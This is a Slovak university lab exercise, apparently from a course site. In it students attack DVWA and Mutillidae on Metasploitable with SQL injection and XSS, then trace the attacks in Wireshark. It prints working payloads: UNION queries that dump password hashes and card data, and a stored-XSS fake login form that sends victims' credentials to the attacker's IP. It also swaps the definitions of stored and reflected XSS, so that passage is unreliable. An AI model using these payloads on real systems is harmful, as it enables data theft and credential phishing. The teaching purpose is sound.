← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie
Preskúmať SQL Injection a XSS v laboratóriu a analyzovať zanechané stopy.
Alternatívna topológia pre Cisco
V tomto cvičení vykonáte dva webové útoky a to SQL Injection a *** Cross-Site Scripting***** (XSS)**. Pri SQL Injection si vyskúšate ako zistiť či webová aplikácia obsahuje tuto zraniteľnosť a ako útočník postupuje pri zneužití tejto zraniteľnosti. Zrealizujete SQL Injection útok na webovú aplikáciu DVWA na serveri Metasploitable a následne budete mať za úlohu vykonať SQL Injection útok na aplikáciu mutillidae, tiež na serveri Metasploitable. V ďalšej časti vykonáte dva typy útokov XSS na aplikáciu DVWA (reflected a stored). V závere preskúmate niektoré možnosti ako predísť týmto útokom.
Damn Vulnerable Web Application (DVWA) je webová aplikácia PHP/MySQL, ktorá je vysoko zraniteľná. DVWA je pomôckou pre bezpečnostných profesionálov pri testovaní ich schopností a nástrojov v legálnom prostredí (teda prostredí kde je to povolené), pomôcť webovým vývojárom lepšie pochopiť procesy zabezpečenia webových aplikácií a pomôcť študentom dozvedieť sa o bezpečnosti webových aplikácií v kontrolovanom laboratórnom prostredí. Cieľom DVWA je precvičiť si niektoré z najbežnejších webových zraniteľností s rôznymi úrovňami obtiažnosti. Tvorcovia upozorňujú, že tento softvér má zdokumentované aj nezdokumentované zraniteľnosti a že je to zámer, a odporúčajú používateľom objaviť čo najviac problémov a zraniteľností.
V závere cvičenia budete analyzovať daný typ útoku vo Wiresharku. Tomuto typu útoku je problematické zabrániť na úrovni siete, a preto naše zistenie môžeme poskytnúť vývojárovi webovej aplikácie, ktorý danú zraniteľnosť môže odstrániť.
Toto laboratórne cvičenie vzniklo na základe tohto oficiálneho Netacad labu a jeho doplnením o reálne generovanie útokov a analýzu reálnych dát, a nie demo údajov:
Topológia v GNS3 alebo vo VirtualBox-e
Školská OpenVPN alebo pripojenie z laboratória na KIS
Názov |
Meno |
Heslo |
Kali Linux * |
<kali user> |
<kali password> |
Metasploitable |
msfadmin |
msfadmin |
SecurityOnion-Realtime * |
<securityonion user> |
<securityonion password> |
SecurityOnion-Cyberops |
analyst |
cyberops |
OpenWRT |
root |
|
OpenvSwitch |
root |
|
GVM |
admin |
admin |
Cisco 2691 |
(bez mena) |
(bez hesla) |
* - zariadenie má používateľa a heslo ktorého vytvoril študent počas cvičenia 1 v časti Zmena username
2 Webové útoky SQL Injection a XSS
V tejto časti si vyskúšate SQL Injection a XSS útoky. Všetky útoky budete vykonávať zo zariadenia Kali Linux a smerovať ich budete na webové aplikácie zariadenia Metasploitable.
Keďže v nasledujúcej časti 2 budeme chcieť analyzovať jednotlivé pakety z útočného toku, je potrebné aby ste mali počas bodov 1. až 3. z tejto časti 1 zapnutý Wireshark na rozhraní eth0 na zariadení Security Onion, na ktoré sa nám zrkadlí prevádzka (pomocou SPAN), ktorá je smerovaná na server Metasploitable.
Prihlásenie sa do aplikácie DVWA na serveri Metasploitable
Otvoríme webový prehliadač Firefox na zariadení Kali-Linux
Zadáme URL do prehliadača: <IP adresa Metasploitable>/dvwa/
Pozn.: Miesto <IP adresa Metasploitable> zadávate vašu IP adresu pre Metasploitable
Následne sa prihlásime do aplikácie:
Meno: admin
Heslo: password
Pozn.: Ak sa Vám nebude dať prihlásiť skúste resetovať heslo
Nastavíme Security level na low:
Klikneme na DVWA Security
Vyberieme zo ScrollBoxu „low“ a dáme Submit
2 Webové útoky SQL Injection a XSS
SQL Injection je chyba nekontrolovaného vstupu v aplikácii, ktorá umožňuje útočníkovi upravovať dotazy do SQL databázy. Útočník tak dokáže využiť obyčajný formulár, alebo textbox, zadať miesto požadovaného vstupu SQL príkaz a týmto spôsobom sa dokáže zmocniť aplikačných dát na úrovni DB, ktoré za normálnych okolností nie sú k dispozícii.
v prípade malých, alebo žiadnych znalostiach SQL (v tomto prípade MySQL) odporúčame prečítať články MySQL SQL a MySQL SELECT Statement aspoň pre základný prehľad čo je SQL a ako vyzerá príkaz SELECT.
Postup:
V aplikácii DVWA klikneme na SQL Injection
Pozn.: V tejto aplikácii sa za tlačidlom submit ukrýva dotaz "SELECT first_name, last_name FROM users WHERE user_id = '$id'" ktorý miesto premennej $id vloží text ktorý vložíte do textového poľa vedľa tlačidla.
SQL Injection útok – OR
Ako prvý príkaz zadáme do Text-Boxu:
' OR '1'='1'#
A potvrdíme cez Submit.
Dotaz, ktorý sa pošle do databázy vyzerá nasledovne:
SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1'#.'
Keďže podmienka WHERE bude splnená pomocou : OR '1'='1'#, tak databáza pošle odpoveď, kde sa budú nachádzať údaje first_name a last_name všetkých účtov.
SQL Injection útok – UNION
Ak aplikácia obsahuje zraniteľnosť SQL Injection, a dotaz obsahuje príkaz SELECT, je možné využiť túto zraniteľnosť na získanie ďalších údajov z databázy pomocou príkazu UNION.
Kľúčové slovo UNION slúži na vykovanie jedného alebo ďalších viacero SELECT dotazov. UNION pripojí výsledky k pôvodnému dotazu.
Príklad:
SELECT first_name, last_name FROM users WHERE user_id = 5 UNION SELECT username, password FROM users;
Pozn.: do textboxu bolo vložené
5 UNION SELECT username, password FROM users;
Aby UNION dotaz fungoval, musia byť splnené dve podmienky:
Prvý SELECT a UNION SELECT musia mať rovnaký počet stĺpcov
Typy údajov v prvom SELECT a UNION SELECT musia byť rovnaké (v MySQL databázach toto pravidlo neplatí)
Príklad:
first_name (varchar) musí byt rovnaký typ udajú ako username (varchar)
last_name (varchar) musí byt rovnaký typ udajov ako password (varchar)
Na zistenie počtu stĺpcov požadovaných pri SQL Injection UNION útoku existujú dve techniky
Prvá metóda sa používa pomocou príkazu ORDER BY číslo. Ak je číslo väčšie ako počet stzapr.
' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3#
' ORDER BY 4#
' ORDER BY XXX#
Druhá metóda používa príkaz
UNION SELECT počet NULL stĺpcov#. Pri tejto metóde skúšame počet NULL stĺpcov pomocou príkazu UNION SELECT dokým nám server nevypíše chybu napr.
' UNION SELECT NULL#
' UNION SELECT NULL,NULL#
' UNION SELECT NULL,NULL,.....,NULL#
V prípade ak nám server nevypíše chybu, sme zistili koľko stĺpcov používa prvý SELECT dotaz
Vyskúšajte si tieto dve metódy a zistite počet stĺpcov v dotaze, ktorý obsahuje SQL Injection zraniteľnosť
Následne, keď vieme koľko stĺpcov používa dotaz, musíme zistiť typy stĺpcov. To dosiahneme pomocou kombinácie príkazov podobných ako v druhej metóde, avšak budeme vymieňať NULL za ‘typ údaju‘. Ak typ údaju nebude zhodný, server vypíše chybu.
Príklad (tento prípad nemusíte skúšať, keďže používame MySQL databázu):
' UNION SELECT 'a',NULL,.....,NULL#
' UNION SELECT NULL,'a',.....,NULL#
' UNION SELECT NULL,NULL,.....,'a'#
Pri formulovaní zložitejších typov útokov, je potrebné poznať verziu databázy. Verziu databázy zistíme pomocou UNION SELECT, ak sa jedna o MySQL databázu:
' UNION select @@version,NULL#
Ďalšou užitočnou informáciou sú údaje z pohľadu (view) information_schema.tables (všetky databázy okrem Oracle majú tento pohľad). Pomocou tohto pohľadu môžete zistiť tabuľky v databáze pomocou príkazu: SELECT table_name from information_schema.tables
Upravte tento príkaz na UNION SELECT tak, aby ste zistili tabuľky, ktoré sa nachádzajú v databáze
' UNION SELECT null,table_name FROM information_schema.tables#Overíme, či existuje users tabuľka pomocou príkazu:
' UNION SELECT null,table_name FROM information_schema.tables where table_name = 'users'#
Následne zistíme, či nejaká tabuľka obsahuje stĺpec password pomocou príkazu:
' UNION SELECT table_name,column_name FROM information_schema.columns#
Následne použijeme ALT+F3 alebo Ctrl+F a dáme hľadať password a zistíme, že existuje tabuľka users, kde sa nachádza stĺpec password
Keď máme tieto informácie, získajte údaje user a password z tabuľky users pomocou UNION dotazu.
2 Webové útoky SQL Injection a XSS
Cross-site scripting (XSS) je webová bezpečnostná zraniteľnosť, kedy útočník vkladá škodlivé skripty do webovej stránky a táto stránka tieto skripty spúšťa. Existujú tri typy XSS:
Stored XSS – škodlivý kód sa nachádza v požiadavke HTTP
Reflected XSS – škodlivý kód sa nachádza vo webovej databáze
DOM XSS – škodlivý kód skôr existuje v kóde na strane klienta ako na strane servera
Postup:
V aplikácii DVWA klikneme na XSS reflected
Do Text-boxu napíšeme svoje meno a dáme Submit.
Následne skopírujeme URL
Napr. 192.168.3.2/dvwa/vulnerabilities/xss_r/?name=Martin#
Následne namiesto vášho mena vložíme skript: <script>alert('HACKED BY <priezvisko>')</script>
Pozn.: Výsledná URL adresa by mala vyzerať takto:
http://x.x.x.x/dvwa/vulnerabilities/xss_r/?name=<script>alert('HACKED BY <priezvisko>')</script>
Následne stlačíme Enter.
Útočník by mohol vložiť akýkoľvek skript do URL adresy a poslať to svojej obeti.
Vložte tento kód do Text-boxu a dajte Sumbit.
<form action=http://IPAdresaKali>
<label for="username">Meno :</label><br>
<input type="text" id="username" name="username"><br>
<label for="password">Heslo :</label><br>
<input type="password" id="password" name="password"><br><br>
<input type="submit" value="Prihlásiť sa">
</form>
Pozn.: miesto IPAdresaKalivložte vašu IP adresu pre zariadenie Kali
Útočník by mohol skopírovať URL adresu, poslať svojej obeti, ktorá by vyplnila údaje a stlačila Prihlásiť sa. Následne by poslala žiadosť na zadanú IP adresu napr. server útočníka.
V aplikácii DVWA klikneme na XSS stored
Vašou úlohou bude použiť kód z kroku 1.e.i (<form action…)
Keďže Message má nastavenú hodnotu maxlenght=50, musíte si ju zväčšiť. Stlačte F12 a zmeňte hodnotu na 500. Kliknite pravým na textové pole Message, v ponuke kliknúť na “Inspect (Q)”
Ak sa vám podarilo zväčšiť túto hodnotu, tak do “Name” napíšte svoje meno, a do Message skopírujte kód z kroku 1.e.i (<form action…) a dajte Sign Guestbook.
Keďže sa jedná o Stored XSS, toto okno je uložené v databáze, a každý kto by sa prihlásil do aplikácie, by videl tento prihlasovací formulár.
Ak by obeť vyplnila údaje, a stlačila tlačidlo Prihlásiť sa, údaje by sa poslali na IP adresu, ktorú sme zadali.
2 Webové útoky SQL Injection a XSS
Postup:
Otvorte si prehliadač a zadajte URL: <IP adresa metasploitable>/mutillidae/
Pozn.: miesto IPAdresaMetasploitable vložte vašu IP adresu pre zariadenie Metasploitable
Táto webová aplikácia obsahuje niekoľko webových zraniteľností
Prejdite do: OWASP Top 10 -> A1 – Injection -> SQLi – Extract Data -> User Info
Pomocou SQL Injection útoku zistite z tohto prihlasovacieho formulára tieto údaje:
Počet stĺpcov požadovaných pri SQL Injection útoku
Tabuľky, ktoré sa nachádzajú v MySQL databáze
pozn.: table_name zadávajte na 2/3/4 pozíciu, pretože username,password,signature z formulára majú ID 2,3,4
Zistite mená stĺpcov z tabuliek credit_cards, accounts. Tieto mená stĺpcov si niekde uložte budete ich potrebovať v ďalšej úlohe
Zobrazte všetky údaje z tabuliek credit_cards, accounts
Pokiaľ vám vyhadzuje error "table 'metasploit.accounts' doesn't exist", kliknite v rovnakom okne nižšie na odkaz setup/reset the DB. Ak ani to nepomôže, otvorte na zariadení metasploitable súbor /var/ www/mutillidae/config.inc v editore nano, nastavte $dbname = 'owasp10' ; a reštartujte databázu rovnako ako na začiatku.
V tejto časti si prezriete a budete analyzovať SQL Injection útok vo Wireshark-u na zariadení Security Onion. Daný útok bol smerovaný na webovú aplikáciu dvwa, ktorá patrí zariadeniu Metasploitable.
Ak pracujete vo VirtualBox-e, tak analýzu spravíte v nástroji Wireshark na serveri Metasploitable (alebo Kali Linux).
Pre rýchle **vyhľadanie **konkrétneho **packetu **sa dá použiť okrem filtra použiť aj vyhľadávacia funkcia Wiresharku (CTRL+F, alebo Edit -> Find Packet) a následne zmeniť vyhľadávací typ na “string”, zadať vyhľadávaný výraz a preklikávať sa na ďalšie výsledky.
Postup:
Prezrite SQL Injection útok
V tomto kroku uvidíte začiatok útoku.
Vo Wireshark-u kliknite pravým tlačidlom myši na riadok, v ktorom je zachytená GET požiadavka s SQL Injection útokom, ktorý ste vykonali v čast 1. bod 2. a vyberte Follow > HTTP Stream.
Zdrojová požiadavka je zobrazená červenou farbou. Zdroj poslal požiadavku GET na hostiteľa (Metasploitable). V modrej farbe cieľové zariadenie odpovedá späť na zdroj.
Do poľa Find zadajte ‘1’=’1’. Kliknite na Find Next.
alternatívne do poľa zadajte %271%27%3D%271%27
Kódovanie URL konvertuje znaky do formátu, ktorý možno prenášať cez internet. Adresy URL sa dajú posielať cez internet len pomocou znakovej sady ASCII. Keďže adresy URL často obsahujú znaky mimo sady ASCII, adresa URL sa musí previesť do platného formátu ASCII. Kódovanie URL nahrádza nebezpečné znaky ASCII znakom „%“, za ktorým nasledujú dve hexadecimálne číslice. Adresy URL nemôžu obsahovať medzery. Kódovanie URL zvyčajne nahrádza medzeru znakom plus (+) alebo %20, apostrof nahrádza %27 a podobne. Ďalšie znaky si môžete pozrieť na ASCII encoding reference
Útočník zadal vstup (' OR '1'='1'# ) do vyhľadávacieho poľa User ID na cieľovej adrese (Metasploitable), aby zistil, či je aplikácia zraniteľná voči SQL injection. Namiesto toho, aby aplikácia odpovedala správou o chybnom vstupe, poslala záznamy z databázy. Útočník overil, že môže zadať príkaz SQL a databáza odpovie. Vyhľadávací reťazec
' OR '1'='1'# vytvorí SQL príkaz, ktorý bude vždy pravdivý.
Zatvorte okno Follow HTTP Stream.
Kliknutím na Clear display filter zobrazíte celú konverzáciu Wireshark-u.
SQL Injection útok poskytuje systémové informácie
Útočník pokračuje a začína sa zameriavať na konkrétnejšie informácie.
Vo Wireshark-u kliknite pravým tlačidlom myši na riadok, kde sa nachádza GET požiadavka, v ktorej ste pomocou SQL Injection útoku zistili verziu databázy a vyberte Follow > HTTP Stream. Červenou farbou je zobrazená zdrojová prevádzka a odosiela požiadavku GET hostiteľovi (Metasploitable). V modrej farbe cieľové zariadenie odpovedá späť na zdroj.
Do poľa Find zadajte: version, NULL. Kliknite na Find Next.
Útočník zadal vstup (' UNION select @@version,NULL#) do vyhľadávacieho poľa User ID na cieľovej adrese (MEtasploitable), aby našiel verziu databázy.
Zatvorte okno Follow HTTP Stream.
Kliknutím na Clear display filter zobrazíte celú konverzáciu Wireshark-u.
SQL Injection útok a informácie o tabuľke
Útočník vie, že existuje veľké množstvo SQL tabuliek, ktoré sú plné informácií. Útočník sa ich snaží nájsť.
Vo Wireshark-u kliknite pravým tlačidlom myši na riadok, kde sa nachádza GET požiadavka,
v ktorej ste pomocou SQL Injection útoku zistili názvy tabuliek v databáze a vyberte Follow > HTTP Stream. Zdroj je zobrazený červenou farbou. Odoslal požiadavku GET na hostiteľa (Metasploitable). V modrej farbe cieľové zariadenie odpovedá späť na zdroj.
Do poľa Find zadajte: users. Kliknite na Find Next.
Útočník zadal vstup
(' UNION SELECT null,table_name FROM information_schema.tables#)
do vyhľadávacieho poľa User ID na cieľovej adrese zariadenia Kali, aby sa zobrazili všetky tabuľky v databáze.******
Zatvorte okno Follow HTTP Stream.
Kliknutím na Clear display filter zobrazíte celú konverzáciu Wireshark-u.
Záver SQL Injection útoku
Útok končí tým, že získa hashe hesiel.
Vo Wireshark-u kliknite pravým tlačidlom myši na riadok, kde sa nachádza GET požiadavka,
v ktorej ste pomocou SQL Injection útoku zistili meno a heslo používateľov z databázy a vyberte Follow > HTTP Stream. Zdroj je zobrazený červenou farbou. Odoslal požiadavku GET na hostiteľa (Metasploitable). V modrej farbe cieľové zariadenie odpovedá späť na zdroj.
Do poľa Find zadajte: user,password. Kliknite na Find Next.
Útočník zadal vstup (' UNION select user,password from users#) do vyhľadávacieho poľa User ID na cieľovej adrese zariadenia Metasploitable, aby získal používateľské mená a hashe hesiel.
Ktorý používateľ má hash hesla 8d3533d75ae2c3966d7e0d4fcc69216b?
Pomocou webovej stránky, ako je CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc. , skopírujte hash hesla do nástroja na prelomenie hesla a získajte plain-text heslo.
Zatvorte okno Follow HTTP Stream. Zatvorte všetky otvorené okná.
Prezretie nových alertov v sguil
V tomto cvičení sme si ukázali na praktickej ukážke ako vyzerajú webové útoky **SQL Injection **a XSS. Na záver sme tieto útoky analyzovali v programe WireShark.
Pre ošetrenie SQL Injection sa používajú tzv. **parameterized queries (známe aj ako pripravené príkazy (prepared statements). **Ďalším ošetrením môže byt validácia vstupu od užívateľa pomocou **whitelistu **alebo blacklistu.
Pre ošetrenie XSS sa odporúča:
Filtrovať vstup od používateľa
Kódovať údaje na výstupe
Použiť vhodné **headers **(hlavičky) odpovede napr. Contant-Type a X-Content-Type-Options
Použiť Content Security Policy (CSP) na zníženie závažnosti všetkých zraniteľností XSS.
Aké je riziko, keď platformy používajú jazyk SQL?
Prezrite si internet a vyhľadajte „prevent SQL injection attacks“. Aké sú 2 metódy alebo kroky, ktoré možno podniknúť na zabránenie SQL injection útokom?
← Prehľad cvičení · Predchádzajúce cvičenie · Nasledujúce cvičenie